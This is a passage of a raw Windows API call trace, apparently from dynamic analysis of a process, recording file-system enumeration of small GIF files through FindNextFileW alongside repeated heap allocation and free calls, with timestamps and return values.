lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff28e0 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037cb8 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2900 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037dc0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2920 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037ec8 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2940 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037fd0 [0069.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.126] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2960 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10380d8 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2980 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10381e0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.127] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff29a0 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10382e8 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff29c0 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10383f0 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x30c0) returned 0x1042af8 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103fa70) returned 1 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.128] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff29e0 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10384f8 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2a00 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1038600 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2a20 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1038708 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2a40 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1038810 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2a60 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1038918 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2a80 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102b950 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2aa0 [0069.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102bb60 [0069.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2ac0 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102ba58 [0069.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2ae0 [0069.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1045bd8 [0069.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.133] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0069.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2b00 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1045ce0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2b20 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1045de8 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0069.134] RtlAllocateHeap 